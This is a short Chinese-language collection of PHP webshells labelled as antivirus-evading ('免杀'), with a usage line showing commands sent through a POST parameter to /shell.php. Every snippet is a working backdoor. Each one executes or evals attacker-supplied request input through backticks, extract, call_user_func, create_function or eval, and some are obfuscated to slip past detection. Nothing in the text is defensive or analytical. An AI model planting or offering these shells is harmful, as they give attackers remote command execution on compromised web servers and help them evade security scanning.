免杀命令执行
食用方法:/shell.php post:c=dir
1:
<?php
$c=1;$a=$_POST;extract($a);print_r(`$c`);
?>
2:
<?php echo `$_=$_REQUEST[c]`; ?>
免杀webshell
1:
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>
2:
<?php
@eval($_POST[a]);
</script>
3:
<script language="php">
function fun()
{@$b=($_POST[1]);
return @$b;
}
eval(fun());
4:
<?php
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
function fun2(){
$b=$_POST;
return @($b[pass]);}
?>